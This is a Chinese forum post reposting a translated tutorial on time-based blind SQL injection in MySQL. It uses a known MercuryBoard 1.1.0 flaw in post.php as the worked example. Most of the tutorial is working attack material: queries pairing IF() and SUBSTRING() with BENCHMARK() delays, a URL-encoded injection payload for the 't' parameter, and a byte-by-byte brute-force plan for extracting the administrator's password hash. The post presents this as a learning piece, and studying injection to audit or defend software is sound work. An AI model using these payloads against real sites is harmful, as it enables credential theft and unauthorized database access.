设为首页 收藏本站
查看: 993|回复: 0

[经验分享] MySQL盲注技术

[复制链接]

尚未签到

发表于 2018-9-28 11:40:26 | 显示全部楼层 |阅读模式
"Validate anything can be passed. Security lays in the inputs. " - zk  所有的过滤都可能被突破。安全取决于输入。-zk
  摘要:
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  MySQL数据库用SQL注射并不容易:当union出现在两个不同类型的数据列中,没有一种方法
  可以从查询里传递的参数里查询显示的错误。当我们审核php/MySQL应用程序的代码,我们发现一个注射漏洞却
  是不可利用的这出现过很多,因为在脚本结束前我们不能够看到输出结果或者我们看到的都是一个错误信息导致找到的值通过不同的列表传递给多重查询。
  基于这个原因用select...union是不够的。
  注射工具盒
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  当我们得到没有错误提示,一个普通的注射总是用union select [null,null,..到前面选择里正确列的数字]/* 去看,
  因此我们可以更深入。假如没有输出结果显示,即使我们准确地知道每个表里每个列的名字,也几乎不可能得到内容。
  用codebug.org发现的MercuryBoard里不可利用的漏洞做例子,我将会一步一步演示如何从被里发现的不可利用的漏洞里找到密码散列。
  我假设这个表的名字是已知的。(在审核一个开放脚本资源,或者调试默认选项是否活动是,这是都一种正常的假设)
  漏洞
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  MercuryBoard v. 1.1.0 Alberto Trivero发现存在一个SQL注入漏洞,当post.php包含被设置成'reply',并且参数't'被传递。
  当用户登陆进行以下操作时,结果将会发生一个错误:
  http://www.site.com/mercuryboard ... amp;s=reply&t=1'
  这个结果看起来像是不能被利用的。
  准备好盲目性
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  首先用数据库低权限的用户完整安装有漏洞的Mercuryboard版本。
  |---|数据库名字是'mercuryboard'|---| (让我显示表名)
  mysql> SHOW TABLES;
  +-------------------+
  | Tables_in_mercury |
  +-------------------+
  | mb_active |
  | mb_attach |
  | mb_forums |
  | mb_groups |
  | mb_help |
  | mb_logs |
  | mb_membertitles |
  | mb_pmsystem |
  | mb_posts |
  | mb_replacements |
  | mb_settings |
  | mb_skins |
  | mb_subscriptions |
  | mb_templates |
  | mb_topics |
  | mb_users |
  | mb_votes |
  +-------------------+
  17 rows in set (0.00 sec)
  |---| 你看到的当前用户是普通用户|---| (不会作为root运行)
  mysql> select USER();
  +---------------+
  | USER() |
  +---------------+
  | 123@localhost |
  +---------------+
  1 row in set (0.00 sec)
  mysql> select password,USER() FROM mysql.user;
  ERROR 1142: select command denied to user: '123@localhost' for table 'user'
  mysql>
  |---| 下面的查询将显示管理员的散列的第一个字节|---|
  mysql> select SUBSTRING(user_password,1,1) FROM mb_users where user_group = 1;
  +------------------------------+
  | SUBSTRING(user_password,1,1) |
  +------------------------------+
  | 5 |
  +------------------------------+
  1 row in set (0.00 sec)
  |---| 下面显示管理员散列ASCII的第一个字节|---|
  mysql> select ASCII('5');
  +------------+
  | ASCII('5') |
  +------------+
  | 53 |
  +------------+
  1 row in set (0.00 sec)
  区别
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  目标是找到一种以某种方式建议的方法,以至我们寻找的内容是正确的。怎么可能知道管理员散列的第一个
  字节是否等于'5'?在NGSS资料里,假如内容与注射的匹配,作者将简单的使查询延迟。在mssql里这个会用一个条件
  IF [QUERY] waitfor [TIME]来追加,而mysql不支持'waitfor'。
  在下面查询中我成功的用IF()函数跟随一个BENCHMARK()函数来创建5秒钟的延迟。当前用户可以用低权限
  执行(当然假如你可以select你就可以执行BENCHMARK()函数)。
  |---|传递一个错误的数字 |---| (CHAR(52) is equal to '4')
  mysql> select active_id FROM mb_active union select IF(SUBSTRING(user_password,1
  ,1) = CHAR(52),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
  mb_users where user_group = 1;
  +-----------+
  | active_id |
  +-----------+
  | 3 |
  | 0 |
  +-----------+
  2 rows in set (0.00 sec)
  在前面的例子中BENCHMARK()函数没有被执行((耗时
  0.00 sec). )
  |---| 传递相匹配内容|---| (BENCHMARK() 被执行)
  mysql> select active_id FROM mb_active union select IF(SUBSTRING(user_password,1
  ,1) = CHAR(53),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
  mb_users where user_group = 1;
  +-----------+
  | active_id |
  +-----------+
  | 3 |
  | 0 |
  +-----------+
  2 rows in set (5.36 sec)
  在前面的例子里BENCHMARK()函数延迟查询5.36s。
  对GET req修补
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  为能成功注射SQL指令我们不得不清除任何单个回显的request.
  |---| 清除回显|---|
  mysql> select active_id FROM mb_active union select IF(SUBSTRING(user_password,1
  ,1) = CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null) FROM mb_users where user_gr
  oup = 1;
  +-----------+
  | active_id |
  +-----------+
  | 3 |
  | 0 |
  +-----------+
  2 rows in set (4.65 sec)
  mysql>
  漏洞利用
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  首先我们必须登陆一个已注册的用户。
  http://127.0.0.1/mercuryboard/in ... union%20select%20IF
  (SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),
  null),null,null,null,null%20FROM%20mb_users%20where%20user_group%20=%201/*
  我们可以看到慢下2秒导致第一字节是CHAR(53), 5。
  暴力破解
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  一个字母一个字母地重建内容是必须的,仅仅一个简单的perl脚本执行GET 请求并等待一个字节一个字节
  的回答{..SUBSTRING(strn,[1,2,3..n],1)..},假如这个回应被延迟了7-10秒,我们有权利填充。暴力破解
  可以得到MD5散列,32字节。
  0 to 9 --> ASCII 48 to 57
  a to z --> ASCII 97 to 122
  最差的结果是36个请求,每个请求3秒加上延迟才是正确的字节,得到完整散列为((3*35)+10)*32= 3622 秒(1小时)
  结论
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  Mysql可以被盲注


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-603238-1-1.html 上篇帖子: MySQL Server Memory Usage-seven 下篇帖子: MySQL v4.1.16
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表